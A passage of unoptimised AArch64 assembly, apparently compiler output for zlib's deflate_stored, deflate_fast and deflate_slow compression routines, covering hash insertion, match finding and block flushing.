b .L1932
.L1936:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
ldr x1, [sp, 24]
ldr x1, [x1, 136]
sub w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 68]
sub w0, w0, #262
cmp w1, w0
bcc .L1942
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1940
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 64]
b .L1941
.L1940:
str xzr, [sp, 64]
.L1941:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 64]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1942
str wzr, [sp, 44]
b .L1932
.L1952:
nop
ldr x0, [sp, 24]
str wzr, [x0, 5916]
ldr w0, [sp, 20]
cmp w0, 4
bne .L1943
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1944
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 72]
b .L1945
.L1944:
str xzr, [sp, 72]
.L1945:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 1
mov x2, x0
ldr x1, [sp, 72]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1946
mov w0, 2
str w0, [sp, 44]
b .L1932
.L1946:
mov w0, 3
str w0, [sp, 44]
b .L1932
.L1943:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x1, x0
ble .L1947
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1948
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 80]
b .L1949
.L1948:
str xzr, [sp, 80]
.L1949:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1947
str wzr, [sp, 44]
b .L1932
.L1947:
mov w0, 1
str w0, [sp, 44]
.L1932:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE116:
.size deflate_stored, .-deflate_stored
.align 2
.type deflate_fast, %function
deflate_fast:
.LFB117:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
.L1973:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 261
bhi .L1955
ldr x0, [sp, 24]
bl fill_window
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 261
bhi .L1956
ldr w0, [sp, 20]
cmp w0, 0
bne .L1956
str wzr, [sp, 48]
b .L1957
.L1956:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
beq .L1986
.L1955:
str wzr, [sp, 52]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 2
bls .L1959
ldr x0, [sp, 24]
ldr w1, [x0, 112]
ldr x0, [sp, 24]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1, 80]
ldr x1, [sp, 24]
ldr w1, [x1, 156]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 42]
ldr x0, [sp, 24]
ldr x1, [x0, 96]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 76]
and w0, w2, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 42]
strh w1, [x0]
ldrh w0, [sp, 42]
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
and w1, w2, 65535
strh w1, [x0]
.L1959:
ldr w0, [sp, 52]
cmp w0, 0
beq .L1960
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr w0, [sp, 52]
sub w1, w1, w0
ldr x0, [sp, 24]
ldr w0, [x0, 68]
sub w0, w0, #262
cmp w1, w0
bhi .L1960
ldr w1, [sp, 52]
ldr x0, [sp, 24]
bl longest_match
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 144]
.L1960:
ldr x0, [sp, 24]
ldr w0, [x0, 144]
cmp w0, 2
bls .L1961
ldr x0, [sp, 24]
ldr w0, [x0, 144]
and w0, w0, 255
sub w0, w0, #3
strb w0, [sp, 41]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
and w1, w0, 65535
ldr x0, [sp, 24]
ldr w0, [x0, 160]
and w0, w0, 65535
sub w0, w1, w0
strh w0, [sp, 44]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 44]
strh w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 68]
add x0, x1, x0
ldrb w1, [sp, 41]
strb w1, [x0]
ldrh w0, [sp, 44]
sub w0, w0, #1
strh w0, [sp, 44]
ldrb w2, [sp, 41]
adrp x0, _length_code
add x1, x0, :lo12:_length_code
sxtw x0, w2
ldrb w0, [x1, x0]
add w0, w0, 257
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 41]
adrp x1, _length_code
add x2, x1, :lo12:_length_code
sxtw x1, w3
ldrb w1, [x2, x1]
add w3, w1, 257
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldrh w0, [sp, 44]
cmp w0, 255
bhi .L1962
ldrh w2, [sp, 44]
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 60]
b .L1963
.L1962:
ldrh w0, [sp, 44]
lsr w0, w0, 7
and w0, w0, 65535
add w2, w0, 256
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 60]
.L1963:
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 8]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
ldrsw x0, [sp, 60]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 8]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 56]
ldr x0, [sp, 24]
ldr w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 176]
cmp w1, w0
bhi .L1987
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 2
bls .L1988
ldr x0, [sp, 24]
ldr w0, [x0, 144]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 144]
.L1968:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
ldr w1, [x0, 112]
ldr x0, [sp, 24]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1, 80]
ldr x1, [sp, 24]
ldr w1, [x1, 156]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 46]
ldr x0, [sp, 24]
ldr x1, [x0, 96]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 76]
and w0, w2, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 46]
strh w1, [x0]
ldrh w0, [sp, 46]
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
and w1, w2, 65535
strh w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
cmp w0, 0
beq .L1989
b .L1968
.L1989:
nop
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
b .L1969
.L1987:
nop
b .L1964
.L1988:
nop
.L1964:
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
str wzr, [x0, 144]
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
ldr x0, [sp, 24]
ldr w1, [x0, 112]
ldr x0, [sp, 24]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1, 80]
ldr x1, [sp, 24]
ldr w1, [x1, 156]
add w1, w1, 1
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
b .L1969
.L1961:
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 40]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 64]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 64]
add x0, x1, x0
ldrb w1, [sp, 40]
strb w1, [x0]
ldrb w0, [sp, 40]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 40]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 56]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
.L1969:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1973
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1971
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 72]
b .L1972
.L1971:
str xzr, [sp, 72]
.L1972:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 72]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1973
str wzr, [sp, 48]
b .L1957
.L1986:
nop
ldr x0, [sp, 24]
ldr w0, [x0, 156]
cmp w0, 1
bhi .L1974
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
str w1, [x0, 5916]
b .L1975
.L1974:
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 5916]
.L1975:
ldr w0, [sp, 20]
cmp w0, 4
bne .L1976
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1977
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 80]
b .L1978
.L1977:
str xzr, [sp, 80]
.L1978:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 1
mov x2, x0
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1979
mov w0, 2
str w0, [sp, 48]
b .L1957
.L1979:
mov w0, 3
str w0, [sp, 48]
b .L1957
.L1976:
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
cmp w0, 0
beq .L1980
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L1981
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 88]
b .L1982
.L1981:
str xzr, [sp, 88]
.L1982:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 88]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1980
str wzr, [sp, 48]
b .L1957
.L1980:
mov w0, 1
str w0, [sp, 48]
.L1957:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE117:
.size deflate_fast, .-deflate_fast
.align 2
.type deflate_slow, %function
deflate_slow:
.LFB118:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
.L2014:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 261
bhi .L1991
ldr x0, [sp, 24]
bl fill_window
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 261
bhi .L1992
ldr w0, [sp, 20]
cmp w0, 0
bne .L1992
str wzr, [sp, 48]
b .L1993
.L1992:
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 0
beq .L2028
.L1991:
str wzr, [sp, 52]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
cmp w0, 2
bls .L1995
ldr x0, [sp, 24]
ldr w1, [x0, 112]
ldr x0, [sp, 24]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1, 80]
ldr x1, [sp, 24]
ldr w1, [x1, 156]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 42]
ldr x0, [sp, 24]
ldr x1, [x0, 96]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 76]
and w0, w2, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 42]
strh w1, [x0]
ldrh w0, [sp, 42]
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
and w1, w2, 65535
strh w1, [x0]
.L1995:
ldr x0, [sp, 24]
ldr w1, [x0, 144]
ldr x0, [sp, 24]
str w1, [x0, 168]
ldr x0, [sp, 24]
ldr w1, [x0, 160]
ldr x0, [sp, 24]
str w1, [x0, 148]
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 144]
ldr w0, [sp, 52]
cmp w0, 0
beq .L1996
ldr x0, [sp, 24]
ldr w1, [x0, 168]
ldr x0, [sp, 24]
ldr w0, [x0, 176]
cmp w1, w0
bcs .L1996
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr w0, [sp, 52]
sub w1, w1, w0
ldr x0, [sp, 24]
ldr w0, [x0, 68]
sub w0, w0, #262
cmp w1, w0
bhi .L1996
ldr w1, [sp, 52]
ldr x0, [sp, 24]
bl longest_match
mov w1, w0
ldr x0, [sp, 24]
str w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 144]
cmp w0, 5
bhi .L1996
ldr x0, [sp, 24]
ldr w0, [x0, 184]
cmp w0, 1
beq .L2029
ldr x0, [sp, 24]
ldr w0, [x0, 144]
cmp w0, 3
bne .L1996
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 160]
sub w0, w1, w0
cmp w0, 4096
bls .L1996
b .L1998
.L2029:
nop
.L1998:
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 144]
.L1996:
ldr x0, [sp, 24]
ldr w0, [x0, 168]
cmp w0, 2
bls .L2030
ldr x0, [sp, 24]
ldr w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 168]
cmp w1, w0
bhi .L2031
ldr x0, [sp, 24]
ldr w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 164]
add w0, w1, w0
sub w0, w0, #3
str w0, [sp, 68]
ldr x0, [sp, 24]
ldr w0, [x0, 168]
and w0, w0, 255
sub w0, w0, #3
strb w0, [sp, 40]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
and w1, w0, 65535
ldr x0, [sp, 24]
ldr w0, [x0, 148]
and w0, w0, 65535
sub w0, w1, w0
and w0, w0, 65535
sub w0, w0, #1
strh w0, [sp, 44]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 44]
strh w1, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 72]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 72]
add x0, x1, x0
ldrb w1, [sp, 40]
strb w1, [x0]
ldrh w0, [sp, 44]
sub w0, w0, #1
strh w0, [sp, 44]
ldrb w2, [sp, 40]
adrp x0, _length_code
add x1, x0, :lo12:_length_code
sxtw x0, w2
ldrb w0, [x1, x0]
add w0, w0, 257
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 40]
adrp x1, _length_code
add x2, x1, :lo12:_length_code
sxtw x1, w3
ldrb w1, [x2, x1]
add w3, w1, 257
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldrh w0, [sp, 44]
cmp w0, 255
bhi .L2001
ldrh w2, [sp, 44]
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 56]
b .L2002
.L2001:
ldrh w0, [sp, 44]
lsr w0, w0, 7
and w0, w0, 65535
add w2, w0, 256
adrp x0, _dist_code
add x1, x0, :lo12:_dist_code
sxtw x0, w2
ldrb w0, [x1, x0]
str w0, [sp, 56]
.L2002:
ldr x1, [sp, 24]
ldrsw x0, [sp, 56]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 8]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
ldrsw x0, [sp, 56]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 8]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 64]
ldr x0, [sp, 24]
ldr w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 168]
sub w0, w1, w0
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 164]
ldr x0, [sp, 24]
ldr w0, [x0, 168]
sub w1, w0, #2
ldr x0, [sp, 24]
str w1, [x0, 168]
.L2006:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
ldr w1, [sp, 68]
cmp w1, w0
bcc .L2003
ldr x0, [sp, 24]
ldr w1, [x0, 112]
ldr x0, [sp, 24]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1, 80]
ldr x1, [sp, 24]
ldr w1, [x1, 156]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 24]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 112]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 46]
ldr x0, [sp, 24]
ldr x1, [x0, 96]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr w0, [x0, 76]
and w0, w2, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldrh w1, [sp, 46]
strh w1, [x0]
ldrh w0, [sp, 46]
str w0, [sp, 52]
ldr x0, [sp, 24]
ldr w2, [x0, 156]
ldr x0, [sp, 24]
ldr x1, [x0, 104]
ldr x0, [sp, 24]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
and w1, w2, 65535
strh w1, [x0]
.L2003:
ldr x0, [sp, 24]
ldr w0, [x0, 168]
sub w1, w0, #1
ldr x0, [sp, 24]
str w1, [x0, 168]
ldr x0, [sp, 24]
ldr w0, [x0, 168]
cmp w0, 0
beq .L2032
b .L2006
.L2032:
nop
ldr x0, [sp, 24]
str wzr, [x0, 152]
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 156]
ldr w0, [sp, 64]
cmp w0, 0
beq .L2014
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2008
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
add x0, x1, x0
str x0, [sp, 80]
b .L2009
.L2008:
str xzr, [sp, 80]
.L2009:
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
ldr x0, [x0, 136]
sub x0, x1, x0
mov w3, 0
mov x2, x0
ldr x1, [sp, 80]
ldr x0, [sp, 24]
bl _tr_flush_block
ldr x0, [sp, 24]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 24]
str x1, [x0, 136]
ldr x0, [sp, 24]
ldr x0, [x0]
bl flush_pending
ldr x0, [sp, 24]
ldr x0, [x0]
ldr w0, [x0, 32]
cmp w0, 0
bne .L2014
str wzr, [sp, 48]
b .L1993
.L2030:
nop
b .L1999
.L2031:
nop
.L1999:
ldr x0, [sp, 24]
ldr w0, [x0, 152]
cmp w0, 0
beq .L2010
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr w0, [x0, 156]
sub w0, w0, #1
uxtw x0, w0
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 41]
ldr x0, [sp, 24]
ldr x1, [x0, 5888]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
strh wzr, [x0]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
str w0, [sp, 76]
ldr x0, [sp, 24]
ldr w0, [x0, 5884]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0, 5884]
ldr x0, [sp, 24]
ldr x1, [x0, 5872]
ldr w0, [sp, 76]
add x0, x1, x0
ldrb w1, [sp, 41]
strb w1, [x0]
ldrb w0, [sp, 41]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
ldrh w0, [x0, 4]
ldrb w3, [sp, 41]
add w0, w0, 1
and w2, w0, 65535
ldr x1, [sp, 24]
sxtw x0, w3
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
mov w1, w2
strh w1, [x0, 4]
ldr x0, [sp, 24]
ldr w1, [x0, 5884]
ldr x0, [sp, 24]
ldr w0, [x0, 5880]
sub w0, w0, #1
cmp w1, w0
cset w0, eq
and w0, w0, 255
str w0, [sp, 64]
ldr w0, [sp, 64]
cmp w0, 0
beq .L2011
ldr x0, [sp, 24]
ldr x0, [x0, 136]
cmp x0, 0
blt .L2012
ldr x0, [sp, 24]
ldr x1, [x0, 80]
ldr x0, [sp, 24]
ldr x0, [x0, 136]
uxtw x0, w0
